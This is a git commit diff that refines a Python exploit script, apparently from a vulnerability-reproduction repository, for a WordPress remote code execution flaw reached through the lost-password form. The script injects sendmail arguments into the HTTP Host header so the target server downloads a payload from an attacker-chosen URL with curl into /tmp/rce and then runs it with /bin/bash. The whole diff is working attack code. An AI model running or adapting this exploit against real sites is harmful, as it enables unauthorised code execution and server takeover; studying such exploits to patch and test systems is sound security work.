refine exploit

phith0n · phith0n · commit 7eba228ba11c · 2017-12-07T15:33:20.000+08:00
diff --git a/wordpress/pwnscriptum/exploit.py b/wordpress/pwnscriptum/exploit.py
@@ -3,10 +3,10 @@
 import sys
 
 # wordpress's url
-target = 'http://127.0.0.1' if not sys.argv[1] else sys.argv[1]
+target = 'http://127.0.0.1' if len(sys.argv) < 1 else sys.argv[1]
 # Put your command in a website, and use the website's url
 # don't contains "http://", must be all lowercase
-shell_url = 'example.com/1.txt' if not sys.argv[2] else sys.argv[2]
+shell_url = 'example.com/1.txt' if len(sys.argv) < 2 else sys.argv[2]
 # an exists user
 user = 'admin'
 
@@ -17,19 +17,19 @@ def generate_command(command):
     return 'target(any -froot@localhost -be %s null)' % command
 
 
+session = requests.session()
 data = {
     'user_login': user,
     'redirect_to': '',
     'wp-submit': 'Get New Password'
 }
-headers = {
+session.headers = {
     'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
     'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
 }
-proxies = {
-    'http': 'http://127.0.0.1:8080'
-}
+session.allow_redirects = False
 target += '/wp-login.php?action=lostpassword'
-requests.post(target, headers=headers, data=data, proxies=proxies, allow_redirects=False)
-headers['Host'] = generate_command('/bin/bash /tmp/rce')
-requests.post(target, headers=headers, data=data, proxies=proxies, allow_redirects=False)
+session.post(target, data=data)
+
+session.headers['Host'] = generate_command('/bin/bash /tmp/rce')
+session.post(target, data=data)
